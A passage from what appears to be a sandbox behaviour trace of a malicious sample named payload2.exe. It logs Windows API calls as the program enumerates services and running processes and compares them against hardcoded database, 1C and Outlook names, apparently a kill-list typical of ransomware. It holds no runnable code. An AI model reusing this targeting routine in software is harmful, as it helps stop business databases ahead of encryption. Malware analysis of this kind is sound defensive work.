lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0269.952] lstrlenW (lpString="ProfSvc") returned 7 [0269.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0269.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0269.952] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0269.952] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0269.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0269.952] lstrlenW (lpString="RpcEptMapper") returned 12 [0269.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.952] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0269.952] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0269.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0269.952] lstrlenW (lpString="RpcSs") returned 5 [0269.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0269.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0269.952] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0269.952] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0269.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0269.952] lstrlenW (lpString="SamSs") returned 5 [0269.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0269.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0269.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0269.952] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0269.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0269.952] lstrlenW (lpString="Schedule") returned 8 [0269.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0269.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0269.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0269.953] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0269.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0269.953] lstrlenW (lpString="SENS") returned 4 [0269.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0269.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0269.953] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0269.953] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0269.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0269.953] lstrlenW (lpString="ShellHWDetection") returned 16 [0269.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.953] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0269.953] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0269.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0269.953] lstrlenW (lpString="Spooler") returned 7 [0269.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0269.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0269.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0269.953] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0269.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0269.953] lstrlenW (lpString="Themes") returned 6 [0269.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0269.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0269.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0269.953] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0269.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0269.953] lstrlenW (lpString="UxSms") returned 5 [0269.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0269.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0269.953] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0269.953] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0269.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0269.954] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x4237fc8 | out: hHeap=0x2a0000) returned 1 [0269.954] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0269.955] Process32FirstW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.955] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.955] lstrlenW (lpString="System") returned 6 [0269.955] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0269.955] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0269.955] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0269.955] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0269.955] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0269.955] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0269.956] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0269.956] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.956] lstrlenW (lpString="smss.exe") returned 8 [0269.956] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0269.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0269.956] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0269.956] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0269.956] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0269.956] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0269.956] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0269.956] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.956] lstrlenW (lpString="csrss.exe") returned 9 [0269.956] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.956] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.956] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.956] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.956] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.956] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0269.956] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.957] lstrlenW (lpString="wininit.exe") returned 11 [0269.957] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0269.957] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0269.957] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0269.957] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0269.957] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0269.957] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0269.957] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0269.957] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.957] lstrlenW (lpString="csrss.exe") returned 9 [0269.957] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.957] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.957] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.957] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.957] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.957] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.958] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0269.958] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.958] lstrlenW (lpString="winlogon.exe") returned 12 [0269.958] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0269.958] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0269.958] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0269.958] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0269.958] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0269.958] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0269.958] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0269.958] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.959] lstrlenW (lpString="services.exe") returned 12 [0269.959] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0269.959] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0269.959] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0269.959] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0269.959] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0269.959] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0269.959] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0269.959] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.959] lstrlenW (lpString="lsass.exe") returned 9 [0269.959] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0269.959] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0269.959] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0269.959] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0269.959] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0269.959] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0269.959] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0269.959] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0269.960] lstrlenW (lpString="lsm.exe") returned 7 [0269.960] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0269.960] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0269.960] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0269.960] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0269.960] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0269.960] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0269.960] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0269.960] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.960] lstrlenW (lpString="svchost.exe") returned 11 [0269.960] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.960] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.960] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.960] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.960] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.960] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.960] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.960] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.961] lstrlenW (lpString="svchost.exe") returned 11 [0269.961] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.961] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.961] lstrlenW (lpString="svchost.exe") returned 11 [0269.961] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.961] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.961] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.962] lstrlenW (lpString="svchost.exe") returned 11 [0269.962] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.962] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.962] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.962] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.962] lstrlenW (lpString="svchost.exe") returned 11 [0269.962] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.962] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.962] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.963] lstrlenW (lpString="audiodg.exe") returned 11 [0269.963] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.963] lstrlenW (lpString="svchost.exe") returned 11 [0269.963] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.963] lstrlenW (lpString="svchost.exe") returned 11 [0269.963] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0269.963] lstrlenW (lpString="userinit.exe") returned 12 [0269.963] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.964] lstrlenW (lpString="dwm.exe") returned 7 [0269.964] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.967] lstrlenW (lpString="explorer.exe") returned 12 [0269.967] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.967] lstrlenW (lpString="spoolsv.exe") returned 11 [0269.967] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.967] lstrlenW (lpString="taskhost.exe") returned 12 [0269.967] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.968] lstrlenW (lpString="svchost.exe") returned 11 [0269.968] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0269.968] lstrlenW (lpString="payload2.exe") returned 12 [0269.968] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0269.969] lstrlenW (lpString="reader_sl.exe") returned 13 [0269.969] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0269.969] lstrlenW (lpString="dllhost.exe") returned 11 [0269.969] Process32NextW (in: hSnapshot=0x370, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0269.969] CloseHandle (hObject=0x370) returned 1 [0269.969] Sleep (dwMilliseconds=0x1f4) [0270.545] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280ac8 [0270.554] EnumServicesStatusExW (in: hSCManager=0x4280ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0270.554] GetLastError () returned 0xea [0270.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc9a) returned 0x42c41c0 [0270.554] EnumServicesStatusExW (in: hSCManager=0x4280ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42c41c0, cbBufSize=0xc9a, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42c41c0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0270.554] CloseServiceHandle (hSCObject=0x4280ac8) returned 1 [0270.555] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0270.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0270.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0270.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0270.555] lstrlenW (lpString="AudioSrv") returned 8 [0270.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0270.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0270.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0270.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0270.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0270.555] lstrlenW (lpString="BFE") returned 3 [0270.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0270.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0270.555] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0270.555] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0270.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0270.555] lstrlenW (lpString="CryptSvc") returned 8 [0270.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0270.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0270.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0270.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0270.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0270.555] lstrlenW (lpString="CscService") returned 10 [0270.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0270.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0270.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0270.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0270.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0270.556] lstrlenW (lpString="DcomLaunch") returned 10 [0270.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0270.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0270.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0270.556] lstrlenW (lpString="Dhcp") returned 4 